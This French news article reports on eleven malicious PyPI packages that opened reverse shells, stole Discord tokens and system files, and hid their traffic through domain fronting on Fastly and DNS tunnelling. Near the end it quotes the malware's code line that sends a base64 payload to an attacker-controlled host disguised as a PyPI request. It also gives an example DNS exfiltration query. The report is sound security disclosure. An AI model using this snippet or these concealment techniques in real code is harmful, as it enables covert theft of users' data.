Le catalogue PyPI (Python Package Index) a identifié 11 paquets contenant du code malveillant. Avant la détection des problèmes, ces paquets avaient été téléchargés environ 38 000 fois. Les paquets malveillants identifiés sont remarquables par l'utilisation de méthodes complexes pour dissimuler les canaux de communication avec les serveurs des attaquants.
- importantpackage (6305 téléchargements), important-package (12897) - établissaient une connexion avec un serveur externe sous le prétexte d'une connexion à pypi.python.org pour fournir un accès shell au système (reverse shell) et utilisaient le programme trevorc2 pour masquer le canal de communication.
- pptest (10001), ipboards (946) - utilisaient DNS comme canal de communication pour transmettre des informations systèmes (dans le premier paquet, le nom d'hôte, le répertoire de travail, les IP internes et externes, dans le second - le nom d'utilisateur et d'hôte).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) - détectaient le token du service Discord et l'envoyaient à un hôte externe.
- trrfab (287) - envoyait vers un hôte externe l'identifiant, le nom d'hôte et le contenu de /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) - établissait une connexion shell inverse avec un hôte externe.
- yandex-yt (4183) - affichait un message de compromission du système et redirigeait vers une page d'informations supplémentaires sur les actions à suivre, fournies via nda.ya.ru (api.ya.cc).
Une attention particulière doit être accordée à la méthode d'accès aux hôtes externes utilisée dans les paquets importantpackage et important-package, qui ont dissimulé leur activité en utilisant le réseau de distribution de contenu Fastly, utilisé dans le catalogue PyPI. En réalité, les requêtes étaient envoyées au serveur pypi.python.org (y compris en spécifiant le nom python.org dans SNI à l'intérieur de la requête HTTPS), mais dans l'en-tête HTTP « Host », le nom d'un serveur contrôlé par les attaquants (sec.forward.io.global.prod.fastly.net) était mentionné. Le réseau de distribution de contenu a redirigé cette requête vers les serveurs des attaquants, utilisant les paramètres de connexion TLS avec pypi.python.org.
Le fonctionnement de l'infrastructure PyPI est assuré par le réseau de distribution de contenu Fastly, dans lequel un proxy transparent Varnish est utilisé pour mettre en cache les requêtes usuelles, et le traitement des certificats TLS est effectué au niveau du CDN, et non des serveurs finaux, pour organiser le passage des requêtes HTTPS à travers le proxy. Quel que soit l'hôte cible, les requêtes sont dirigées vers le proxy, qui détermine l'hôte requis par l'en-tête HTTP « Host », et noms de domaine Les hôtes sont liés à des adresses IP typiques des équilibreurs de charge CDN de Fastly pour tous les clients.
Le serveur des attaquants est également enregistré dans le CDN Fastly, qui propose des plans tarifaires gratuits à tous ceux qui le souhaitent et permet même un enregistrement anonyme. Il est intéressant de noter que pour envoyer des requêtes à la victime lors de la création d'un « reverse shell », un schéma similaire est utilisé, mais initié par l'hôte des malfaiteurs. L'interaction avec le serveur des attaquants ressemble à une session légitime avec le répertoire PyPI, chiffrée à l'aide d'un certificat TLS PyPI. Cette technique, connue sous le nom de « domain fronting », était auparavant activement utilisée pour cacher le nom de l'hôte lors du contournement des blocages, en utilisant la possibilité d'accéder via HTTPS en spécifiant un hôte fictif dans SNI tout en transmettant le nom de l'hôte demandé dans l'en-tête Host au sein de la session TLS.

Pour dissimuler les activités malveillantes, le paquet TrevorC2 a également été utilisé, permettant de faire interagir avec le serveur de manière similaire à une navigation web classique, par exemple, les requêtes malveillantes étaient envoyées sous l'apparence du téléchargement d'une image « https://pypi.python.org/images/guid= » en codant les informations dans le paramètre guid. url = « https://pypi.python.org » + « /images » + « ? » + « guid= » + b64_payload r = request.Request(url, headers = {'Host': « psec.forward.io.global.prod.fastly.net »})
Dans les paquets pptest et ipboards, une autre approche a été utilisée pour dissimuler l'activité réseau, basée sur le codage des informations utiles dans les requêtes vers le serveur DNS. Le logiciel malveillant transmet des informations en effectuant des requêtes DNS du type « nu4timjagq4fimbuhe.example.com », dans lesquelles les données transmises au serveur de contrôle sont codées dans le nom de sous-domaine au moyen du format base64. L'attaquant reçoit les données du message en contrôlant le serveur DNS pour le domaine example.com.
Source : opennet.ru
